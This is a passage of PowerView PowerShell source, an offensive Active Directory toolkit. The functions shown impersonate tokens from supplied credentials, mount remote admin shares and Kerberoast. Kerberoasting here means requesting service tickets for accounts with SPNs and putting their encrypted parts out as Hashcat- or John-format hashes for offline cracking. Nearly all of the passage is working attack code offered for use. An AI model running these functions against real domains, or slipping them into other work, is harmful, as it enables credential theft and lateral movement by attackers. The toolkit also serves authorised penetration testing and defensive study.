NORMAL_ACCOUNT 512 | |
DONT_EXPIRE_PASSWORD 65536 | |
.EXAMPLE | |
Get-DomainUser harmj0y | ConvertFrom-UACValue | |
Name Value | |
---- ----- | |
NORMAL_ACCOUNT 512 | |
DONT_EXPIRE_PASSWORD 65536 | |
.EXAMPLE | |
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll | |
Name Value | |
---- ----- | |
SCRIPT 1 | |
ACCOUNTDISABLE 2 | |
HOMEDIR_REQUIRED 8 | |
LOCKOUT 16 | |
PASSWD_NOTREQD 32 | |
PASSWD_CANT_CHANGE 64 | |
ENCRYPTED_TEXT_PWD_ALLOWED 128 | |
TEMP_DUPLICATE_ACCOUNT 256 | |
NORMAL_ACCOUNT 512+ | |
INTERDOMAIN_TRUST_ACCOUNT 2048 | |
WORKSTATION_TRUST_ACCOUNT 4096 | |
SERVER_TRUST_ACCOUNT 8192 | |
DONT_EXPIRE_PASSWORD 65536+ | |
MNS_LOGON_ACCOUNT 131072 | |
SMARTCARD_REQUIRED 262144 | |
TRUSTED_FOR_DELEGATION 524288 | |
NOT_DELEGATED 1048576 | |
USE_DES_KEY_ONLY 2097152 | |
DONT_REQ_PREAUTH 4194304 | |
PASSWORD_EXPIRED 8388608 | |
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 | |
PARTIAL_SECRETS_ACCOUNT 67108864 | |
.INPUTS | |
Int | |
Accepts an integer representing a UAC binary blob. | |
.OUTPUTS | |
System.Collections.Specialized.OrderedDictionary | |
An ordered dictionary with the converted UAC fields. | |
.LINK | |
https://support.microsoft.com/en-us/kb/305144 | |
#> | |
[OutputType('System.Collections.Specialized.OrderedDictionary')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('UAC', 'useraccountcontrol')] | |
[Int] | |
$Value, | |
[Switch] | |
$ShowAll | |
) | |
BEGIN { | |
# values from https://support.microsoft.com/en-us/kb/305144 | |
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary | |
$UACValues.Add("SCRIPT", 1) | |
$UACValues.Add("ACCOUNTDISABLE", 2) | |
$UACValues.Add("HOMEDIR_REQUIRED", 8) | |
$UACValues.Add("LOCKOUT", 16) | |
$UACValues.Add("PASSWD_NOTREQD", 32) | |
$UACValues.Add("PASSWD_CANT_CHANGE", 64) | |
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) | |
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) | |
$UACValues.Add("NORMAL_ACCOUNT", 512) | |
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) | |
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) | |
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) | |
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) | |
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072) | |
$UACValues.Add("SMARTCARD_REQUIRED", 262144) | |
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) | |
$UACValues.Add("NOT_DELEGATED", 1048576) | |
$UACValues.Add("USE_DES_KEY_ONLY", 2097152) | |
$UACValues.Add("DONT_REQ_PREAUTH", 4194304) | |
$UACValues.Add("PASSWORD_EXPIRED", 8388608) | |
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) | |
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) | |
} | |
PROCESS { | |
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary | |
if ($ShowAll) { | |
ForEach ($UACValue in $UACValues.GetEnumerator()) { | |
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { | |
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") | |
} | |
else { | |
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") | |
} | |
} | |
} | |
else { | |
ForEach ($UACValue in $UACValues.GetEnumerator()) { | |
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { | |
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") | |
} | |
} | |
} | |
$ResultUACValues | |
} | |
} | |
function Get-PrincipalContext { | |
<# | |
.SYNOPSIS | |
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext | |
and simplified identity. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.PARAMETER Identity | |
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), | |
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), | |
or a DOMAIN\username identity. | |
.PARAMETER Domain | |
Specifies the domain to use to search for user/group principals, defaults to the current domain. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[Alias('GroupName', 'GroupIdentity')] | |
[String] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
Add-Type -AssemblyName System.DirectoryServices.AccountManagement | |
try { | |
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { | |
if ($Identity -match '.+\\.+') { | |
# DOMAIN\groupname | |
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentity) { | |
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) | |
$ObjectIdentity = $Identity.Split('\')[1] | |
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" | |
} | |
} | |
else { | |
$ObjectIdentity = $Identity | |
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" | |
$ConnectTarget = $Domain | |
} | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[Get-PrincipalContext] Using alternate credentials' | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
} | |
else { | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) | |
} | |
} | |
else { | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[Get-PrincipalContext] Using alternate credentials' | |
$DomainName = Get-Domain | Select-Object -ExpandProperty Name | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
} | |
else { | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) | |
} | |
$ObjectIdentity = $Identity | |
} | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'Context' $Context | |
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity | |
$Out | |
} | |
catch { | |
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" | |
} | |
} | |
function Add-RemoteConnection { | |
<# | |
.SYNOPSIS | |
Pseudo "mounts" a connection to a remote path using the specified | |
credential object, allowing for access of remote resources. If a -Path isn't | |
specified, a -ComputerName is required to pseudo-mount IPC$. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: PSReflect | |
.DESCRIPTION | |
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection | |
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the | |
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. | |
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path | |
or -ComputerName. | |
.PARAMETER ComputerName | |
Specifies the system to add a \\ComputerName\IPC$ connection for. | |
.PARAMETER Path | |
Specifies the remote \\UNC\path to add the connection for. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the remote system. | |
.EXAMPLE | |
$Cred = Get-Credential | |
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred | |
.EXAMPLE | |
$Cred = Get-Credential | |
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred | |
#> | |
[CmdletBinding(DefaultParameterSetName = 'ComputerName')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName, | |
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] | |
[ValidatePattern('\\\\.*\\.*')] | |
[String[]] | |
$Path, | |
[Parameter(Mandatory = $True)] | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential | |
) | |
BEGIN { | |
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) | |
$NetResourceInstance.dwType = 1 | |
} | |
PROCESS { | |
$Paths = @() | |
if ($PSBoundParameters['ComputerName']) { | |
ForEach ($TargetComputerName in $ComputerName) { | |
$TargetComputerName = $TargetComputerName.Trim('\') | |
$Paths += ,"\\$TargetComputerName\IPC$" | |
} | |
} | |
else { | |
$Paths += ,$Path | |
} | |
ForEach ($TargetPath in $Paths) { | |
$NetResourceInstance.lpRemoteName = $TargetPath | |
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx | |
# CONNECT_TEMPORARY = 4 | |
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) | |
if ($Result -eq 0) { | |
Write-Verbose "$TargetPath successfully mounted" | |
} | |
else { | |
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" | |
} | |
} | |
} | |
} | |
function Remove-RemoteConnection { | |
<# | |
.SYNOPSIS | |
Destroys a connection created by New-RemoteConnection. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: PSReflect | |
.DESCRIPTION | |
This function uses WNetCancelConnection2 to destroy a connection created by | |
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to | |
'unmount' \\$ComputerName\IPC$. | |
.PARAMETER ComputerName | |
Specifies the system to remove a \\ComputerName\IPC$ connection for. | |
.PARAMETER Path | |
Specifies the remote \\UNC\path to remove the connection for. | |
.EXAMPLE | |
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' | |
.EXAMPLE | |
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' | |
.EXAMPLE | |
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[CmdletBinding(DefaultParameterSetName = 'ComputerName')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName, | |
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] | |
[ValidatePattern('\\\\.*\\.*')] | |
[String[]] | |
$Path | |
) | |
PROCESS { | |
$Paths = @() | |
if ($PSBoundParameters['ComputerName']) { | |
ForEach ($TargetComputerName in $ComputerName) { | |
$TargetComputerName = $TargetComputerName.Trim('\') | |
$Paths += ,"\\$TargetComputerName\IPC$" | |
} | |
} | |
else { | |
$Paths += ,$Path | |
} | |
ForEach ($TargetPath in $Paths) { | |
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" | |
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) | |
if ($Result -eq 0) { | |
Write-Verbose "$TargetPath successfully ummounted" | |
} | |
else { | |
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" | |
} | |
} | |
} | |
} | |
function Invoke-UserImpersonation { | |
<# | |
.SYNOPSIS | |
Creates a new "runas /netonly" type logon and impersonates the token. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: PSReflect | |
.DESCRIPTION | |
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType | |
to simulate "runas /netonly". The resulting token is then impersonated with | |
ImpersonateLoggedOnUser() and the token handle is returned for later usage | |
with Invoke-RevertToSelf. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object with alternate credentials | |
to impersonate in the current thread space. | |
.PARAMETER TokenHandle | |
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. | |
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() | |
is executed. | |
.PARAMETER Quiet | |
Suppress any warnings about STA vs MTA. | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Invoke-UserImpersonation -Credential $Cred | |
.OUTPUTS | |
IntPtr | |
The TokenHandle result from LogonUser. | |
#> | |
[OutputType([IntPtr])] | |
[CmdletBinding(DefaultParameterSetName = 'Credential')] | |
Param( | |
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')] | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential, | |
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] | |
[ValidateNotNull()] | |
[IntPtr] | |
$TokenHandle, | |
[Switch] | |
$Quiet | |
) | |
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { | |
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." | |
} | |
if ($PSBoundParameters['TokenHandle']) { | |
$LogonTokenHandle = $TokenHandle | |
} | |
else { | |
$LogonTokenHandle = [IntPtr]::Zero | |
$NetworkCredential = $Credential.GetNetworkCredential() | |
$UserDomain = $NetworkCredential.Domain | |
$UserName = $NetworkCredential.UserName | |
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" | |
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 | |
# this is to simulate "runas.exe /netonly" functionality | |
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); | |
if (-not $Result) { | |
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
} | |
# actually impersonate the token from LogonUser() | |
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) | |
if (-not $Result) { | |
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" | |
$LogonTokenHandle | |
} | |
function Invoke-RevertToSelf { | |
<# | |
.SYNOPSIS | |
Reverts any token impersonation. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: PSReflect | |
.DESCRIPTION | |
This function uses RevertToSelf() to revert any impersonated tokens. | |
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), | |
CloseHandle() is used to close the opened handle. | |
.PARAMETER TokenHandle | |
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
$Token = Invoke-UserImpersonation -Credential $Cred | |
Invoke-RevertToSelf -TokenHandle $Token | |
#> | |
[CmdletBinding()] | |
Param( | |
[ValidateNotNull()] | |
[IntPtr] | |
$TokenHandle | |
) | |
if ($PSBoundParameters['TokenHandle']) { | |
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" | |
$Result = $Kernel32::CloseHandle($TokenHandle) | |
} | |
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); | |
if (-not $Result) { | |
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" | |
} | |
function Get-DomainSPNTicket { | |
<# | |
.SYNOPSIS | |
Request the kerberos ticket for a specified service principal name (SPN). | |
Author: machosec, Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf | |
.DESCRIPTION | |
This function will either take one/more SPN strings, or one/more PowerView.User objects | |
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN | |
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted | |
portion of the ticket is then extracted and output in either crackable John or Hashcat | |
format (deafult of Hashcat). | |
.PARAMETER SPN | |
Specifies the service principal name to request the ticket for. | |
.PARAMETER User | |
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. | |
.PARAMETER OutputFormat | |
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. | |
Defaults to 'John'. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the remote domain using Invoke-UserImpersonation. | |
.EXAMPLE | |
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" | |
Request a kerberos service ticket for the specified SPN. | |
.EXAMPLE | |
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket | |
Request kerberos service tickets for all SPNs passed on the pipeline. | |
.EXAMPLE | |
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR | |
Request kerberos service tickets for all users with non-null SPNs and output in JTR format. | |
.INPUTS | |
String | |
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. | |
.INPUTS | |
PowerView.User | |
Accepts one or more PowerView.User objects on the pipeline with the User parameter set. | |
.OUTPUTS | |
PowerView.SPNTicket | |
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. | |
#> | |
[OutputType('PowerView.SPNTicket')] | |
[CmdletBinding(DefaultParameterSetName = 'RawSPN')] | |
Param ( | |
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidatePattern('.*/.*')] | |
[Alias('ServicePrincipalName')] | |
[String[]] | |
$SPN, | |
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] | |
[Object[]] | |
$User, | |
[ValidateSet('John', 'Hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'Hashcat', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = Invoke-UserImpersonation -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['User']) { | |
$TargetObject = $User | |
} | |
else { | |
$TargetObject = $SPN | |
} | |
ForEach ($Object in $TargetObject) { | |
if ($PSBoundParameters['User']) { | |
$UserSPN = $Object.ServicePrincipalName | |
$SamAccountName = $Object.SamAccountName | |
$DistinguishedName = $Object.DistinguishedName | |
} | |
else { | |
$UserSPN = $Object | |
$SamAccountName = 'UNKNOWN' | |
$DistinguishedName = 'UNKNOWN' | |
} | |
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 | |
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { | |
$UserSPN = $UserSPN[0] | |
} | |
try { | |
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN | |
} | |
catch { | |
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" | |
} | |
if ($Ticket) { | |
$TicketByteStream = $Ticket.GetRequest() | |
} | |
if ($TicketByteStream) { | |
$Out = New-Object PSObject | |
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' | |
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName | |
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName | |
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName | |
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) | |
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object | |
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { | |
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) | |
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 | |
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) | |
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object | |
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { | |
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} else { | |
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null | |
} | |
} else { | |
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} | |
if($Hash) { | |
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe... | |
if ($OutputFormat -match 'John') { | |
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" | |
} | |
else { | |
if ($DistinguishedName -ne 'UNKNOWN') { | |
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
else { | |
$UserDomain = 'UNKNOWN' | |
} | |
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... | |
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" | |
} | |
$Out | Add-Member Noteproperty 'Hash' $HashFormat | |
} | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') | |
$Out | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
Invoke-RevertToSelf -TokenHandle $LogonToken | |
} | |
} | |
} | |
function Invoke-Kerberoast { | |
<# | |
.SYNOPSIS | |
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. | |
Author: Will Schroeder (@harmj0y), @machosec | |
License: BSD 3-Clause | |
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket | |
.DESCRIPTION | |
Uses Get-DomainUser to query for user accounts with non-null service principle | |
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. | |
The ticket format can be specified with -OutputFormat <John/Hashcat>. | |
.PARAMETER Identity | |
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), | |
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). | |
Wildcards accepted. | |
.PARAMETER Domain | |
Specifies the domain to use for the query, defaults to the current domain. | |
.PARAMETER LDAPFilter | |
Specifies an LDAP query string that is used to filter Active Directory objects. | |
.PARAMETER SearchBase | |
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
Useful for OU queries. | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to. | |
.PARAMETER SearchScope | |
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ServerTimeLimit | |
Specifies the maximum amount of time the server spends searching. Default of 120 seconds. | |
.PARAMETER Tombstone | |
Switch. Specifies that the searcher should also return deleted/tombstoned objects. | |
.PARAMETER OutputFormat | |
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. | |
Defaults to 'Hashcat'. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
.EXAMPLE | |
Invoke-Kerberoast | fl | |
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). | |
.EXAMPLE | |
Invoke-Kerberoast -Domain dev.testlab.local | fl | |
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR | |
format instead of Hashcat. | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) | |
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl | |
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. | |
.OUTPUTS | |
PowerView.SPNTicket | |
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.SPNTicket')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[ValidateSet('John', 'Hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'Hashcat', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$UserSearcherArguments = @{ | |
'SPN' = $True | |
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' | |
} | |
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = Invoke-UserImpersonation -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } | |
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat | |
} | |
END { | |
if ($LogonToken) { | |
Invoke-RevertToSelf -TokenHandle $LogonToken | |
} | |
} | |
} | |
function Get-PathAcl { | |
